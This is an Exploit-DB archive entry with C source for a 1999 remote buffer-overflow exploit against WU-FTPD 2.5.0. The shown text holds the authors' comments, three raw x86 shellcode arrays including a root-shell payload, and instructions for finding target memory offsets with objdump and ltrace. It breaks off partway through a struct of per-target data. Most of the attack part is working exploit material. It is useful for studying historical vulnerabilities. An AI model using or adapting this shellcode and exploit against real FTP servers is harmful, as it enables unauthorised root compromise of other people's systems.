Exploit-DB #19560
Description: Washington University WU-FTPD 2.5.0 - 'message' Remote Buffer Overflow
Type: remote
Platform: multiple
Date: 1999-10-19
Author: typo/teso

Exploit:
// source: https://www.securityfocus.com/bid/726/info

There is a buffer overflow in wu-ftpd message file expansions which may be remotely exploitable. In situations where the message file can be written to in some way remotely by regular or anonymous users, this may result in a root compromise. This detailed in an AUSCERT advisory AA-1999.01. 

---ifafoffuffoffaf.c---
/*
  <tmogg> ifaf ?
  <typo_> integrated ftp attack facility
  <ElCamTuf> ifafoffuffoffaf
  <ElCamTuf> sounds much better

Code by typo/teso '99. http://teso.scene.at/ - DO NOT USE, DO NOT DISTRO.
_----------------------------------------------------------------------------_
    Ok, so edi found a way to bruteforce.. we made bruteforcing test code,
    but wuftpd is too boring to finetune it.. enjoy this sploit in the
    meanwhile. Send me offsets (see below) to typo@scene.at.
-____________________________________________________________________________-

Contributors: 
     Bulba of LaM3rZ (thanks for the shellcode and the example w.sh)
     edi (found a way to only have to find 2(!) offsets, he is hardcore!)
     lcamtuf (dziekuje tobie za ostatunia noc)
     Grue (helped me thinking, and testing, rh5.2, rh5.1 offsets)
     scut (minor include and style fixes)
     smiler (asm bugfixing), stealth (hellkit rox)

Greets: Lam3rZ, ADM, THC, beavuh, and most other people that know us.
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/utsname.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <time.h>
#include <getopt.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdarg.h>

/* LaM3rZ shellcode */
unsigned char lamerz[]=
        "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
        "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
        "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
        "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
        "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
        "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
        "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
        "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
        "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
        "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
        "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67";

/* teso code: write(1,"teso\n",5); exit(0); */
unsigned char testcode[] = 
    "\xeb\x1c\x31\xc0\x59\x31\xd2\x31\xdb\xb3\x01\xb2\x05\xb0"
    "\x0b\xfe\xc8\x88\x41\x04\xb0\x04\xcd\x80\x30\xdb\xb0\x01"
    "\xcd\x80\xe8\xdf\xff\xff\xfftesox";

/* teso code: ioctl(, 0x5309, 0); */
unsigned char cdcode[] =
  "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x36\x5b\xff\x0b\xff\x4b\x04"
  "\x4b\x80\x6b\x0b\x35\x43\x31\xc0\x31\xc9\x31\xd2\xb0\x05\x66\xb9\x04\x08"
  "\x66\xba\x9a\x02\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x31\xd2\xb0\x36\x66\xb9"
  "\x09\x53\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xc5\xff\xff\xff"
  "\x30\x64\x65\x76\x30\x63\x64\x72\x6f\x6d\x35";

/* uh.. script kiddies suck. */
char *shellcode = cdcode;

typedef struct dir *dirptr;

struct dir {
        char    *name;
        dirptr  next;
} dirproto;

void    title (void);
void    usage (const char *me);
void    connect_to_ftp (void);
void    log_into_ftp (void);
void    parseargs (int argc, char **argv);
void    cleanup_and_exit (void);
int     x2port (const char *smtn);
void    err (int syserr, const char *msg, ...);
int     cwd (const char *path);
int     mkd (char *name);
int     rmd (char *name);
int     is_writable (void);
void    getpwd (void);
int     recurse_writable (void);
void    *xmalloc (size_t size);
void    *xcalloc (int factor, size_t len);
char    *xstrdup (const char *s);
ssize_t xread (int fd, void *buf, size_t count);
ssize_t xwrite (int fd, const void *buf, size_t count);
int     xbind (int sockfd, struct sockaddr *my_addr, int addrlen);
int     xsocket (int domain, int type, int protocol);
int     xsetsockopt (int s, int level, int optname, const void *optval,
        unsigned int optlen);
int     xconnect (int  sockfd,  struct sockaddr *serv_addr, int addrlen);
void    sighandler (int signal);
struct hostent  *xgethostbyname (const char *name);
struct hostent  *xgethostbyaddr (const char *addr, int len, int type);
void    putserv (const char *fmt, ...);
char    *getline (void);
char    *getmsg (const char *msg);
int     wuftpd_250_sploitit (void);
dirptr  newdir (char *name);
char    *getdir (char *stat);
char    *int2char (int addr);
int     check_test_return();

/*----------------------------------------------------------------
***                     How to get offsets                     ***
------------------------------------------------------------------
Edis elite way of getting offsets:

objdump --disassemble in.ftpd | egrep -6 "3c 2e|0f bf 43 06" |
grep "\$0x80" | awk '{print $8}'
------------------------------------------------------------------
My lame way of getting offsets:
(as many people have asked: search for ltrace at http://freshmeat.net/)

tty1:
nc 0 21
USER someuser
PASS hispass
tty2:
ltrace -S -p pid_of_ftpd 2>&1 | egrep "SYS_chdir|longjmp"
tty1:
CWD /not/current/dir
MOO
QUIT
tty2:
first argument of first SYS_chdir is mapped_path offset.
first argument of longjmp is errcatch offset
------------------------------------------------------------------
try 4096 and/or 1024 for maxpathlen (works 99% of the time).
------------------------------------------------------------------*/

struct sploitdata {
        char            *banner;
        char            *desc;
        char            pad_eax;
        unsigned int    maxpathlen;
        unsigned int    mapped_path;
        unsigned int    errcatch;